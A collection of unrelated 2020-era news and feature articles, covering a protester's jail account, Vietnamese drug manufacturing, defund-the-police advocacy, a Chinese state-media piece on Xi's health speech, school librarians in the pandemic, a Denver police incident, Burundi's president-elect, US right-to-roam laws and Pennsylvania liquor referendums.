My sister parked across the street, watching me to make sure that the police didnt do any funny business with us. And I saw an undercover cop pull up behind her, and then I saw six different officers surrounding her. I just saw the cops swarming her car. And Im like, Oh, my goodness, please dont kill my sister. You know, shes trying to make sure Im not getting killed, Im trying to make sure shes not getting killed. Shes just a single 25-year-old black woman. Its completely unnecessary. But at that point I was already loaded up into the van. I was really trying to lean out and see if I could see anything, but I could not see her, so I was worried. When we got to the holding cell, she was already there.

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What was the rest of the evening like?

Before we left, the cop who I guess was in charge thanked us for our cooperation: You guys are a lot better than the last group we arrested. Then we make our way to the county jail. The ride there was not that badwere all like-minded people, just cutting up, singing songs. We were all talking to each other, telling stories, letting ourselves get to know each other. Singing The Wheels on the Bus, just trying to get some comic relief.

When we got to the jail, they processed us one by one. A lady told me to take off my shoes, and I got sent to the holding cell without my shoes. Maybe 45 minutes later, I realized, Im walking barefoot in a jail cell. Thats nasty. We asked for water multiple times, and we got, Itll be a minute. And the minute never came. Next thing you know, we were all getting released.

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A whole bunch of people came there to support us. Whenever an officer would open the door to release someone into the room, they all cheered for us. It was so nice. And they had a lot of food and a lot of drinks for us. I had some vegetable lo mein, and it was completely delicious.

How did you feel at the end of the night?

I was feeling kind of proud. I know everyone isnt as lucky, Ive heard stories about jail, and my experience was just not bad. So I do not regret it one bit. People need to see exactly whats going on. They need to see how insane it was. [But] I will definitely continue going into more protests, even if I were to get in harms way.
The Vietnamese government intends to meet 80% of its domestic pharmaceutical demand through local drug manufacturers.

Vietnam's goal of having the majority of its pharmaceutical demand be met by local firms will shape the country's medicine market, according to Fitch Solutions, a subsidiary of Fitch Group.

Even prior to the Covid-19 pandemic, the Vietnamese government's support for the local pharmaceutical industry has remain steadfast, stated Fitch Solutions.

This is in part driven by the authorities' push to meet domestic healthcare needs. As part of its strategy, the Vietnamese government intends to meet 80% of its domestic pharmaceutical demand through local drug manufacturers.

This proposal is having a major impact on the vaccine market, with the country now able to produce 11 of the 12 vaccines included in the national expanded immunization program.

While Fitch Solutions expected the governments efforts will go some way towards improving Vietnams manufacturing base, the vast majority of local production will remain focused on cheap generic drugs given their limited technological capabilities.

Taking this into account, Fitch Solutions said it will be a long time before the country can be classed as self-sufficient with regards to its pharmaceutical supply. With 160 factories meeting WHO - Good Manufacturing Practice standards, the domestic drug output is able to meet 45% of the demand, while the rest must be imported.

According to a report produced by the Vietnam Social Security, by the end of May 2019, there were 84 million people participating in the public health insurance system nationwide, covering 89% of the population.

A target set by a resolution of the 6th Plenum of Communist Party of Vietnam states that by 2025 about 95% of the Vietnamese population will be covered by the national health insurance scheme.

Hospital quality has improved continuously, and demands for hospital bribes have dropped to a 10-year low.

Taken together with the governments policy to provide mass quarantine largely free of charge, these data suggest that Vietnamese citizens did not have to worry about costs from Covid-19 tests (formal or informal), associated hospitalization, and centralized quarantine, thereby increasing their willingness to comply with extensive contact tracing and strict quarantine measures.

Although coverage now approaches the full population, public healthcare remains chronically underfunded, with per capita spending on public healthcare sitting at just US$82 in 2019. While the government is focused on improving the delivery of public healthcare services, Fitch Solutions believed that limited public financing, uneven distribution of health services, inadequate infrastructure and a similar shortage of qualified workers will continue to obstruct innovative drug makers wishing to operate in the market.

Vietnam's effective response against Covid-19

With a population of over 97 million, Vietnam has prior experience in responding to outbreaks of other infectious diseases including SARS, MERS, measles and dengue. In the case of the Covid-19, Vietnam relied on cost-effective solutions to combat the virus, including strategic testing, contact tracing through apps and effective public communication campaigns.

In addition, it implemented a national lockdown between April 1 and 22. Vietnams effective response was enabled by the countrys ongoing efforts to improve governance and central-local government policy coordination, said Fitch Solutions.

At least 110 laboratories across the country can perform real-time polymerase chain reaction testing for Covid-19 diagnosis, with a capacity of 27,000 samples per day. As of April 30, 2020, Vietnam had conducted 261,004 tests, with 967 tests per positive case or 2691 tests per million population. Not only did the country buy 200,000 tests from South Korea, but it also quickly developed its own successful test kits.

The Vietnamese Covid-19 test kit was developed by scientists within a month. It is effective, affordable and fast, diagnosing suspected infections in just an hour. Using WHO-approved techniques, these test kits make it possible to isolate infected people and track down their contacts.

It is also worth mentioning that, unlike other countries that rely on mass testing, in Vietnam, tests are only done on those likely to be infected. Hanoitimes

Ngoc Thuy

Vietnam to stop exporting COVID-19 treatment medicines from April 16 The Drug Administration of Vietnam (DAV) required all local drug manufacturing, exporting and importing firms to suspend the export of drugs used in...
As law enforcement officers across the country continue to brutalize peaceful demonstrators in the nationwide protests sparked by the killing of George Floyd in Minneapolis last week, support for defunding the police is rising as Americans become increasingly fed up with the institution's racism and violence.

"In moments of crisis, people want services and resources that go directly to help people rather than police that surveil, brutalize, and kill us," Black Lives Matter LA co-founder Melina Abdullah told the Guardian.

The murder of Floyd by four Minneapolis police officers on May 25 served as the catalyst for the uprising that has filled city streets around the nation with unprecedented numbers of protesters.

As Common Dreams reported Wednesday, polling this week shows a majority of Americans believe both the anger and the actions of the protesters are at least partially justified  including the burning of the Minneapolis Police Department Third Precinct building last week.

Activists have long called for defunding the police as part of the solution to the institution's myriad problems. Long seen as a fringe position by more mainstream liberals and conservatives, the call to defund is now seeing widespread support among the public and politicians.

We need to defund the police and make sure that money goes back into the communities that need it," said Cori Bush, a progressive candidate running for Missouri's 1st District House seat, in a statement. "We have to end the militarization of police, stop the racial profiling."

Alex Vitale, writer of the book "The End of Policing," said in an interview with The Nation Thursday that he believes the funding for police departments should instead be put toward community service jobs.

"The police department and the corrections department are always hiring and community centers aren't," said Vitale. "And when they do hire, it's at half the salary and half the benefits. So this budget battle is about getting cities to reprioritize how they deal with the very real needs of the most disadvantaged communities that are subjected to the most intensive policing."

Good cops, bad cops

A petition calling for re-allocating money from police departments to local health and education initiatives is gaining support. Launched by Black Lives Matter co-founder , the petition has been signed by such high-profile celebrities as John Legand, Megan Rapinoe, Lizzo , The Weeknd, Jane Fonda, Natalie Portman, Jameela Jami, Yara Shahidi, ACLU executive director Anthony Romero and others. Celebrities also have put up bail money for arrested protesters.

Po\lice officers, too, are showing their support for the protesters  hugging, praying, and taking a knee with them. Denver Police Chief Paul Pazen linked arms with them.

In Atlanta, officers in riot gear sent to form a line holding back protesters took their positions kneeling rather than standing.

But empathetic law-enforcement officers have been the exception, not the rule. The increasing support for defunding police comes as images and videos of police attacking peaceful protesters and innocent bystanders continue to spread across social media as demonstrations entered their 10th consecutive day Thursday.

Pull Quote Long seen as a fringe position by more mainstream liberals and conservatives, the call to defund police and redirect the money to more community-based initiatives is gaining support among from the public and politicians alike.

According to Rolling Stone:

As the protests continue around the country, activists in New York, where the police departments budget is poised to swell to nearly $6 billion in 2021, and Los Angeles, where LAPD's funding was increased this year to $1.8 billion, are mounting their own defunding campaigns.

The first step for anyone interested in pushing for a re-thinking of their city's priorities is to get involved in the budgeting process by attending city council meetings and speaking. The Leadership Conference on Civil and Human Rights had a toolkit, praised earlier this week by former President Barack Obama, with more resources and information on how to get involved.

The speed with which public opinion has turned on the police didn't surprise Tony Williams, a member of Minneapolis-based abolitionist group MPD150, who noted the increasing nationwide anger over the high number of police killings of unarmed black men since 2015.

"This is unprecedented in our movement," Williams told the Guardian, "but it is a natural consequence of where we've been over the last five years.

Louis Weisberg contributed to this report.
Chinese President Xi Jinping called for efforts to develop a strong public health system to safeguard peoples health on June 2.

Xi, also general secretary of the Communist Party of China (CPC) Central Committee, made the remarks when presiding over a symposium attended by experts and scholars.

From the strategic height of overall national development, Xi summarized experiences gained and lessons learned in the fight against the COVID-19 epidemic, and expounded on the strategic role of health care.

Xi offered systematic discourse on a range of major issues, including reforming the system for disease prevention and control, improving early-stage monitoring and warning for epidemics, comprehensively enhancing the capacity for prevention, control and treatment, building a strong and solid protection network against infectious diseases, and advancing targeted legislative work in the public health sector.

Xis profound and insightful speech with rich connotations has a significant and far-reaching influence on the whole Party and the societys efforts to enhance the awareness of worst-case scenarios and potential dangers, to promote high-quality development of health care in the new era, to forestall major risks in the health sector, and to protect peoples lives and health.

Protecting peoples lives and health is an important task underlying the Partys governance. The Party and country have always attached great importance to the development of the health cause and the improvement of peoples wellbeing.

Since the 18th CPC National Congress, the CPC Central Committee with Comrade Xi Jinping at its core has put forward explicit guidelines for the Partys health work in the new era, solidified the institutional guarantee for improving peoples health, followed the policy of putting prevention first, and developed steadily the public health service system. Thanks to these efforts, China prevented and successfully responded to sudden outbreaks such as the H1N1 flu, H7N9 flu and Ebola hemorrhagic fever, and significantly reduced the incidence rate of major infectious diseases.

As President Xi pointed out, good health is a prerequisite for promoting well-rounded development of the people, a precondition for economic and social development, a key mark of a prosperous nation and a strong country, and the common pursuit of the people. The development of health care always assumes a fundamental position, and has been integrated with the countrys overall strategy, playing an important role in the historical course of achieving the two centenary goals.

When joining deliberation with deputies from north Chinas Inner Mongolia Autonomous Region at the third session of the 13th National Peoples Congress, the countrys top legislature, Xi reviewed the great fight against COVID-19 and made a profound point that peoples lives and health should be considered as the top priority. We are willing to protect peoples lives and health at all costs, Xi said.

The COVID-19 epidemic is a major public health emergency that has spread the fastest, caused the most extensive infections and been the hardest to contain since the founding of the Peoples Republic in 1949. Facing the epidemic, the CPC Central Committee has taken the overall situation into account, made resolute decisions, and always put peoples lives and health first.

Thanks to the concerted and all-out efforts made by the Party, the armed forces, and the Chinese people of all ethnic groups, China has made major strategic achievements in the battle against the epidemic with the most comprehensive, rigorous and thorough measures.

These achievements demonstrate the great political advantages of the CPCs leadership and socialism with Chinese characteristics, the countrys ever-increasing comprehensive national strength since the reform and opening-up, as well as the great power generated by the joint efforts made by the Party, the armed forces, and the Chinese people of all ethnic groups.

Prosperity for all is impossible without health for all. With the continuous development of the Chinese society and economy, as well as the constantly improving living standards, the Chinese people have put more emphasis on their life quality and health, expecting diversified and individualized health services.

Furthermore, peoples health concerns not only livelihood, but also social politics. The prevention of major epidemics and resolving public health risks are of great significance for national security and social stability.

Chinas public health and medical service systems have played a key role in dealing with the epidemic, but some weak links and inadequacies were also exposed. The country should address existing problems squarely, strengthen areas of weakness and fix loopholes.

Party committees and governments should reform the disease prevention and control system, improve early-warning and emergency response mechanisms, build greater capacity for prevention, control and treatment, and improve public health emergency laws and regulations. Besides, they should practically enhance the work of patriotic public health and clarify responsibilities at institutional level, so as to provide a strong guarantee for safeguarding peoples health.

The health of the people is the most valuable treasure of a country, from which it enhances its overall national strength and builds the capability of sustainable development.

China will always remain committed to the people-centered philosophy of development, give top priority to peoples health, endeavor to develop a strong public health system that offers all-dimensional and whole-of-the-life-cycle health services for the people.

By doing so, it will surely create a mighty force that unites the Chinese people to conquer all difficulties, risks and challenges, and create a better life.
The sudden closure of schools across the country in mid-March and the resulting pivot to distance learning has meant that the role of school librarian has shifted into a whole new gear. Certainly, the picture looks different from district to district and even school to school, but the American Association of School Librarians has been staying in touch with its membership in a number of ways, including a periodic survey that offers a snapshot of what the school librarians work looks like during the pandemic. AASLs second such survey was conducted at the end of April. The information from 975 respondents represents 1,087 schools and more than a million students. We consulted those survey results and contacted some individual school librarians to highlight a range of experiences and best practices.

Ive never worked so much in my entire life! Its been crazy, but fun, says Shannon McClintock Miller, innovation director of instructional technology and library media at Van Meter Community School in Van Meter, Iowa, about how shes been adjusting to changes in her job since the Covid-19 outbreak. From the very start, I feel like Van Meter didnt miss a beat, she says. Once we got word from the state and decided as a district what we were going to do, we were ready. Im so proud of everybody. Being a 1:1 district [which provides one device per student] for so many years as well as being a forward-thinking district and having awesome mindsets has really helped.

Miller followed one of her own bits of adviceDont wait to be asked to do things; just start doing themwhen she quickly turned her schools library site into a continuous learning page, where she began highlighting the digital resources they already had, and adding a few new ones. When we were building up these resources, ideas, and projects, and making sure they worked in this virtual learning environment, there were so many things out there that were freewhich was amazing, but also pretty overwhelming, she says. So another piece of advice is, dont feel that you have to add all these new things. Use the tools that have already worked with your district and focus on that.

Millers strategy for swiftly making more digital tools available is one that most of her colleagues adopted as well. According to AASLs survey, just over 94% of respondents say they have been expanding online resources available to students (curating and promoting). In tandem with offering digital tools, 84.8% of school librarians are offering virtual assistance (via email, phone, chat, etc.) to students, and 78.25% have offered how-tos for accessing virtual resources in the form of written instructions, recorded lessons, or some other method.

Craig Seasholes, teacher librarian at Dearborn Park International Elementary School in Seattle, has been hosting two weekly Book Chat sessions during which he invites students and staff to share what theyve been reading via 60-second lightning book talks. From that point, he says, Information goes out in our district Learning Management System, and readers contribute titles in a shared PowerPoint slideshow unique to each session. The recommended titles are then added to a growing Follett Destiny Collection. In addition, Seasholes says he attends teachers classroom online meetings and adds [his] 3 minutes from Bookman presentation highlighting print and online resources appropriate to each class. He also participates in three Read-a-Rama Virtual Storytimes hosted by Michelle Martin and Rachelle Washington on their site each week.

Seasholess activities fall under a category labeled virtual reading development in the AASL survey, which includes book clubs, readalouds, storytimes, and book talks, and 70% of survey respondents said they were offering such activities to learners.

For me, distance learning has meant my being available for tech help for teachers and working with students on questions they have, says Elissa Malespina, teacher librarian at Verona High School in Verona, N.J. She credits her awesome administration for helping everyone get a bit of a jump on the distance learning setup. They started preparing about two weeks prior to our closure [on March 16], included me in the discussion, and helped train teachers on how to use some virtual learning tools, she says.

In one recent example of virtual connection, Malespina and some of her debate students have been helping a school in Brazil with their debates. Miller has been taking advantage of video conferencing platforms to plan virtual field trips, including ones to a farm and the Toledo Zoo, for younger students, and to host author visits, among other things.

Communication is key

The librarians we contacted spoke of the importance of communicationwith students, with families, with administrators and subject teachers, and with each otherin the distance learning environment. It has been important to stay connected to the students and offer learning and support in manageable portions in consideration for students, families, and teachers, says Fran Glick, coordinator of library media programs and digital resources for Baltimore County Public Schools in Towson, Md.

We made sure things were consistent across every grade level and teacher, Miller says. For example, she explains that all of the second-grade teachers got together and offered the same things to every student, creating equitable learning and access. A family with multiple kids could look at our continuous learning page and see it organized that way, she says. Consistency and communication are the keys to being able to share resources effectively with families and kids, Miller adds.

Our school library media specialists at the elementary level are meeting with students using Google Meet in order to support the lessons that are available in our learning management system and in print pathways, Glick says. Our secondary library media specialists are co-teaching and curating a lot to help their content-teaching colleagues. The AASL survey suggests that this is a common practice, and reveals that 85% of respondents are offering resource curation and technology tools for classroom instruction, which includes suggesting titles/resources. When it comes to keeping in touch with colleagues, Seasholes offers a favorite tip: During most online meetings I work on a FitDesk bicycle-desk with a portable green screen hung behind me that allows highlighting images of books, resources, or images relevant to the gatherings, he says.

Malespina has been using digital newsletter tool Smore, multimedia resource curation tool Wakelet, and Google Classroom as well as her website and social media accounts to keep parents and students informed, which has been really good, she says. She has also been working with the New Jersey Association of School Librarians to put together a road map to student success through your school librarian, where we share key ways that a school librarian can help administrators during this time period. More than 80% of school librarians who responded to the AASL survey indicated that they are providing curated resources for at-home activities (nonhomework) to families, 75% share community resources (public library resources, health and well-being resources, etc.) with families, and 61% are offering tech support to students families.

The power of print

Though virtual resources have received a lot of attention during this period of distance learning, school librarians remain stalwart supporters of print books.

On the day before our closure, and with one days notice, we encouraged all schools to have their students check out as many books as they could, Glick says. We have a lot of books in student homes right now. Our hope is to find a way to provide more to support summer reading. We know that not all students have home libraries, and we are considering what we can do to get print materials in the hands of students. She adds, One of the things that we are hearing from school staff is that print is more appealing than ever as a nonscreen option for engagement.

In New Jersey, Malespina says, I have been allowing students to check out books from the VHS library. To that end, she ran several pickup and delivery days prior to May 20, when her building closed for construction. I am allowing all studentsexcept 12th gradersto keep books over the summer, she says.

Seasholes believes that books are the original and enduring laptop technology to help readers make sense of their world and the worlds of others. By bike or by mail, Im doing everything in my power to get Windows, Mirrors and Sliding Glass Doors books into readers handsand laptopsduring this extended hiatus, he says. Reading is a prescription that can cure both anxiety and boredom; and the wealth of time available to students means that this is the perfect opportunity to develop life-long independent reading habits. But he also points out that high-quality e-books and audiobooks with student-friendly access are also showing themselves to be a resource that should only increase in value as education shifts to greater use of online learning tools, adding, We live in a world of books and bytes: the issue is to get the best resources into readers hands in a safe and effective manner to provide support for student learning and independent reading.

Miller has gone above and beyond to keep print books in the mix as well. She notes that teachers and parents who had already been facilitating book clubs for students throughout the school year asked if they could continue them even though the library was closed. Miller embraced the idea wholeheartedly. She has ordered new books, organized them at her home, and either delivered them or left them packaged on her porch for teachers to pick up and distribute to students. Miller and the participating teachers and parents followed all the suggested safety guidelines and kept families needs in mind throughout the process. Discussions about the books were then held virtually on Google Meet and Zoom, and Miller lined up such authors as Newbery Medalist Jerry Craft and Michael Buckley to connect with the students as well.

Ive been able to continue ordering print books from independent booksellers who are delivering during the pandemic, Seasholes says. Once [processed in school cataloguing], Ive highlighted them in online meetings and emails. Ive been able to modestly check out and distribute books to interested students by placing them in sealed bags that allow several days between handling for the recommended safe rest period. No doubt about it, this is a painfully slow process.

Seasholes also held a virtual book fair sponsored by local nonprofit Page Ahead, which he says will provide each K2 student with 12 books for summer reading. Whereas the book selection used to happen in the library, this years fair is all online, Seasholes says, with delivery of the dozen books slated for the last two weeks of school.

Similarly, Miller held a Follett Book eFair, during which students and families ordered books that were delivered to Millers house. She provided drop-off and pickup services to distribute families purchases. Through all her combined activities during the pandemic, Ive made at least 100 front-step deliveries, Miller says. Its been so neat.

Summer and beyond

By the time the school year at Van Meter wrapped up on May 22, Miller had already added a Summer Learning and Reading Opportunities page to her Continuous Learning Site and mailed a bookmark containing an encouraging message and links to the library and technology resources to nearly 500 students. The virtual book clubs will continue through the summer, and on May 25 Miller launched a virtual Camp Adventure, which offers 12 weeks of reading, learning, and creative adventures organized around a different theme each week.

As things officially wound down at Verona High School, Malespina says she helped the guidance department make a video about where seniors were headed after graduation. Seasholes was making plans for an online graduation for the fifth graders who will be moving on to middle school. And both Glick and Seasholes are partnering in various ways with their local public libraries in support of summer reading, as would typically be the case for them (and for most school librarians) even if there werent a pandemic.

Uncertainty still clouds any forecast of the new academic year. But the librarians we spoke with believe they can handle whatever may come their way. Once direction comes from our state and local governments, we will have to rethink our practice, Glick says. We began our remote practices by creating a Translation of Practice document that is organized by the four domains we use to define effective teaching. I am confident we will do more with that. Our goal will always be providing service to students, teachers, and families, and as soon as we know more, we will be setting that course.

Malespinas preparations put her in good stead to help students either in person, should they return to school, or virtually. I already had a UV light, which I used to sanitize the books and Chromebooks and electronics we have in the library, she says. I plan to continue that. I also am working on purchasing more e-books and digital resources for students and teachers.

At Van Meter, were just starting to talk about next year, Miller says. I know well keep doing great things at our school no matter what. The things we have learned already just in the last eight weeks have been amazing and weve been in a growth mindset. I know that whatever happens were going to be prepared.

Seasholes says, Ever since our Washington Library Association formulated the Library Information Technology Program Framework, Ive been teaching and advocating for librarians to embrace the instruction and information management elements of our work in addition to the traditional role of reading advocate. My colleagues at ISTE and AASL, and Mark Ray and Shannon Miller at Future Ready Librarians, are continuing to build the case for whats next in librarianship. The sudden shift to online schooling precipitated by the pandemic is well within our mission to ensure students are enthusiastic and effective users and producers of ideas and information.

As the next academic year approaches, the librarians we spoke with confirm that people are definitely talking about learning lossand are concerned about the one-two punch of a Covid-19 slide and summer slide taking a toll. Lots of things are going to change and its a lot to think about, Miller says. But our job is about meeting our kids wherever they are and helping them get to where they need to be. Thankfully, she and a number of her colleagues appear ready to face the challenge.

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(JNS) - Despite facing one of the world's worst coronavirus outbreaks, Iran appears to be continuing its pursuit of nuclear weapons, as well as its aggressive regional behavior. Iran has already acknowledged that it has increased its uranium stockpile, which now stands at more than 1,000 kilograms, and is also using a greater number of advanced centrifuges for enrichment. Based on these developments, experts believe that Iran's breakout time to produce a nuclear weapon may have now been reduced to just a matter of months.

Eyal Zisser, vice rector of Tel Aviv University and a senior researc...
Horrifying video captured the moment three black children were held at gunpoint by Denver police officers and their unarmed father was handcuffed in a parking lot.

Naphtali Israel, 44, had taken his stepdaughters, ages two, seven and 14, to Safeway, a supermarket chain, to shop for groceries on May 7.

At the same time, a Safeway employee called 911 and reported that a black man with a gun was in the front seat of a Cadillac in the parking lot.

Officers quickly arrived on the scene and one sergeant held his gun on the three young girls for about 15 seconds.

When Israel exited the store, he was patted down and handcuffed.

Naphtali Israel, 44, from Denver, took his three stepdaughters, ages two, seven and 14, to Safeway to shop for groceries. Pictured: Security camera footage shows the girls in the car in the parking lot

After someone called 911 and reported that a black man was sitting in his car with a firearm, police arrived on the scene and pointed a gun at the three girls inside

A stranger told Israel a gun was pointed at his children and, when he went outside, he was told to put his hands up and handcuffed (left and right)

Israel told CBS 4 Denver that after his two-year-old couldn't keep her face mask on, he asked the older girls to get some candy out of his car and wait for him.

While in the store, security footage - provided by the law firm representing Israel - show a sergeant pull up and point his gun at the children in the car for about 15 seconds.

There is no audio but attorney David Lane says the sergeant allegedly told the 14-year-old to 'take her [expletive] hands off the steering wheel!'

A stranger found Israel in the grocery store to tell him that a cop had his gun pointed at his daughters.

In body camera footage, police can be heard asking Israel, as he approaches them, to stop and put his hands up.

Israel can be heard asking: 'Why do I have to stop?' and an officer replied: 'Because we have a call that you have a gun.'

It's unknown who, but someone told a Safeway employee that a black man in a white hooded sweatshirt was sitting in front seat of a Cadillac in the supermarket's parking lot with a firearm.

The employee then called 911 and asked for police.

Lane told the CBS Denver that sitting in your own car with a firearm is not a crime, and that the call wouldn't have occurred if Israel were white.

Israel was wearing a white T-shirt, not a sweatshirt, and he did not have a gun.

Israel (left and right) said he doesn't believe the incident would have occurred if he were white. Israel's attorneys are considering a use-of-force and equal protection civil rights lawsuit

Israel's 14-year-old daughter in therapy over the incident and the seven-year-old who has been having nightmares about being shot by police, will start therapy soon.Pictured: The three daughters inside the car

'If the police pulling their weapon out on children is doing their job, then they should be ashamed of themselves,' Israel told CBS Denver.

Israel says he and his wife have put their 14-year-old in therapy over the incident and the seven-year-old who has been having nightmares about being shot by police, will start therapy soon.

DPD is currently investigating the incident and is refusing to release the officer's name at this time.

Division Chief Ron Thomas said that, in the video, the officer did not have his finger on the trigger and had his gun pointed downward as he had been trained to do.

'He's at kind of what we would call a low-ready position where he hasn't acquired the target yet,' Thomas told Denverite.

'But you know if a target were to present itself, then he would acquire that target.'

Israel said the officer came to his house later with the groceries left behind at Safeway and apologized, but the father-of-three says it's not enough and the change is needed.

His attorneys are considering a use-of-force and equal protection civil rights lawsuit. against the DPD.
Burundi's president-elect Evariste Ndayishimiye is an army general likely facing a tricky balancing act to bring change to the troubled nation while pleasing the elites who put him in power.

Ndayishimiye, 52, widely known by his nickname "Neva", was on Thursday declared the victor of a May 20 presidential election, after the country's top court dismissed an opposition bid to have the result overturned due to alleged widespread fraud.

The general was handpicked by the ruling party to replace President Pierre Nkurunziza, who reigned for a tumultuous 15 years in the tiny landlocked country.

Described by those who know him as more open-minded than many in the ruling CNDD-FDD party, he is not associated with the worst abuses of recent years.

But neither did he stand out as trying to rein in the violence that erupted after the 2015 election, when Nkurunziza won a third term that was seen by many as unconstitutional.

The violence that followed left 1,200 dead and sparked a refugee exodus. A UN commission later accused the government of gross abuses including summary executions, rape and torture.

Ndayishimiye, who serves as secretary general of a party that has consolidated its power since 2015 by quelling any opposition, was chosen for his fierce loyalty, according to one official.

He is set to inherit a deeply isolated country, under sanctions and cut off by foreign donors, its economy and national psyche damaged by years of political violence and rights violations.

'A dangerous tightrope'

The Burundi Human Rights Initiative said Ndayishimiye's appointment was a compromise between Nkurunziza and a small but powerful cabal of generals who control the levers of government.

Nkurunziza had pushed instead for Pascal Nyabenda, the president of the national assembly, and a civilian he thought he could control from afar, the advocacy group said.

But the generals wanted a military man and a former comrade from their days as ethnic Hutu rebels fighting against the government during the civil war.

They settled on Ndayishimiye, a general who rose through the ranks during that conflict that ended in 2006, but one outside the innermost circle.

"He... will have to walk a dangerous tightrope in the high spheres of the ruling party," the Burundi Human Rights Initiative said in an April report.

"Whether his primary debt is to Nkurunziza or to the other generals, Ndayishimiye will have to balance competing powerful interests, while ensuring that his own position remains safe."

A party official, speaking on condition of anonymity, said Ndayishimiye was chosen because he was "faithful, ready to die for his party".

But if elected, he "would be between a rock and a hard place" in his early term, kept at arm's-length and beholden to his backers.

"He will walk on eggshells in the first few years and will have to wait a long time before he gains some room for manoeuvre," the official said.

Uphill battle

Ndayishimiye had only just begun his studies at the University of Burundi when civil war broke out in 1993 -- a conflict that would rage 13 years and cost at least 300,000 lives.

He was in his second year of law school when extremists from the Tutsi ethnic group massacred dozens of Hutu students on campus. The young Ndayishimiye only just escaped, putting down his pen to take up a gun.

During the war he rose through the ranks of the CNDD-FDD. In 2003, he was the party's main negotiator in ceasefire negotiations that ended the bloodshed.

In the post-war years, Ndayishimiye held several high-tier positions in government, including minister of the interior and public security, and as the president's military and civilian chief of staff.

Those who know Ndayishimiye personally describe two sides to the man -- one seemingly honest and open to consensus, but fiery and quick to temper.

"He's a rather open-minded man, easy at first, who likes to joke and laugh with his friends," said one friend, who spoke to AFP on condition of anonymity.

"But unlike Nkurunziza, who is a cold-blooded and very sober animal, Evariste Ndayishimiye can be quite angry, and gets carried away very easily, and risks becoming infuriated."

One diplomat said Ndayishimiye displayed an "openness and honesty unlike other generals".

"He was the best choice, but he will have a lot to do to encourage change and openness to the opposition, in a party dominated by an extremist, sectarian branch."

A born-again evangelical like Nkurunziza, Ndayishimiye is a fervent believer, but of the Catholic faith.

Observers say his early conciliatory tone could engender some goodwill from the international community, and assist in slowly bringing Burundi in from the diplomatic cold.

Ndayishimiye "has sent out signals of openness to the international community, and it is ready to recognise him and to reconnect with him," said a senior ranking diplomat in Bujumbura.
Walking upright on two legs is a defining feature of being human. And way back when, like really way back, getting up on two feet helped early humans survive by allowing us to cover expansive landscapes quickly and efficiently.

We owe a lot to walking, a fact not lost on the many who have famously (and privately) walked long and far. In Victorian times, the wildly popular sport of pedestrianism gave rise to one the eras biggest celebrities; Edward Payson Westons 4,100-mile walk, at the age of 71, from New York to San Francisco attracted such throngs of fans along the way that security was required to protect him. Walking was hot!

Edward Payson Weston, the Father of Modern Pedestrianism, 1909. (Wikimedia Commons)/Public Domain

Modern America's Design Discourages Walking

Now, mostly, we seem to celebrate the art of driving. If I wanted to head out of New York City for a long walk, where would I even start? A highway? We dont live in a time and place where you can just go out and walk wherever you want. In the first place, the country has become decidedly designed around cars, and secondly, walking on someones private property involves the illegal act of trespassing. We have very defined routes we are allowed to walk without much room for roaming off the path.

In setting out to hike the proposed route of the Keystone XL pipeline, writer Ken Ilgunas discovered that rather than walking or hiking across the country, he would really have to qualify it as trespassing across America. In an op-ed for The New York Times, he writes about the legality of walking and that while here we are forbidden from entering most private land, in much of Europe walking wherever you want is not only normal, but perfectly fine to do:

In Sweden, they call it allemansratt. In Finland, its jokamiehenoikeus. In Scotland, its the right to roam. Germany allows walking through privately owned forests, unused meadows and fallow fields. In 2000, England and Wales passed the Countryside and Rights of Way Act, which gave people access to mountain, moor, heath or down.

Nordic and Scottish laws are even more generous. The 2003 Scottish Land Reform Act opened up the whole country for a number of pastimes, including mountain biking, horseback riding, canoeing, swimming, sledding, camping and most any activity that does not involve a motorized vehicle, so long as its carried out responsibly. In Sweden, landowners may be prohibited from putting up fences for the sole purpose of keeping people out. Walkers in many of these places do not have to pay money, ask for permission or obtain permits.

The Struggle to Walk in Today's America

In 1968 Congress passed the National Trails System Act which has designated over 51,00 miles of legitimate walking space around the country. Which is great, but how did it come to this? How did this huge once-open expanse, a roamer's paradise, become a place where we are only allowed to walk along certain lines on a map? And as Ilgunas asks, wouldnt we be better off if we could legally amble over our rolling fields and through our shady woods, rather than have to walk alongside unscenic, noisy and dangerous roads? Yes! There are numerous studies attesting to the benefits of spending time in nature; and walking is one of the best ways to combat the sedentary lifestyle that is helping to smother this country in ill health.

Moveover, for those who decide to walk anyway, between 2003 to 2012 over 47,000 pedestrians were killed and around 676,000 were hurt walking along roads.

Blame America's Obsession With Private Property

The right to roam freely was ingrained in early America, but that freedom began to slip away in the late 19th century. The South passed trespassing laws for racial reasons, Ilgunas explains, and elsewhere wealthy landowners became increasingly protective over game, which gave rise to trespassing and hunting laws. While in the 1920s a Supreme Court ruling determined that the public was allowed to travel on unenclosed private land, that freedom was rendered null in the presence of a simple no trespassing sign. The Supreme Court has given landowners more and more control of the right to exclude over the years. We have become vigilantly proprietary over the pieces of land for which we hold titles.

The idea of private property is so ingrained in our culture at this point backtracking on it, so to speak, may prove challenging if not impossible. And that's such a shame, especially for people who live in areas dominated by a lack of public lands on which to take a walk. And while landowners may scoff at the idea of allowing strangers, gasp, to walk across their woods, in Europe there are restrictions that seem to keep everyone happy. In Sweden, Ilgunas notes, walkers must stay at least 65 yards from residences and could be sent to jail for up to four years for destroying property; in other places there are laws restricting hunting or fishing.

These laws are often friendly to landowners because, under many circumstances, landowners are given immunity from suit if the walker has an accident resulting from natural features of the landscape on the landowners property, he adds.

Fighting to Keep America Walker-Friendly

In the meantime, there are not a whole lot of people advocating for roaming rights in the States and Ilgunas is calling for more dialog about opening the country back up to everyone.

Something as innocent and wholesome as a walk in the woods shouldnt be considered illegal or intrusive, he concludes. Walking across the so-called freest country on earth should be every persons right.

Until then, at least we do have the National Trails System. It may not offer leisurely saunters through privately owned forests, unused meadows and fallow fields ... and a 4,100 mile walk across the country might prove prohibitive, but it may be the best walkabout workaround we have for now.
CHAMBERSBURG, Pa.  Residents in Southampton and Greene Townships in Franklin County are one step closer to being able to buy alcohol.

During Tuesdays primary election voters in both townships approved a liquor license referendum.

Residents in the townships began circulating petitions for the referendums in January, according to the Herald-Mail.

Both townships were dry, meaning the sales and purchase of alcohol are banned. However, Pennsylvania law allows municipalities to vote on whether or not to allow the sale of alcohol.

Maria Misner, a Southampton Township Planning Commission member, said the referendum passed with approximately 75 percent (1,404 people) voting yes.

The referendum also passed in Greene Township, according to Travis Brookens, a township supervisor, who said this would allow convenience stores, grocery stores and restaurants to apply for whatever licenses might be available in the county.

While the results are considered unofficial until Franklin County finalizes the election results, this is only one step forward for those who want to purchase alcohol in the township.

However, according to the Pennsylvania Liquor Control Board(PLCB) data, Franklin County is not on the quota vacancies list.

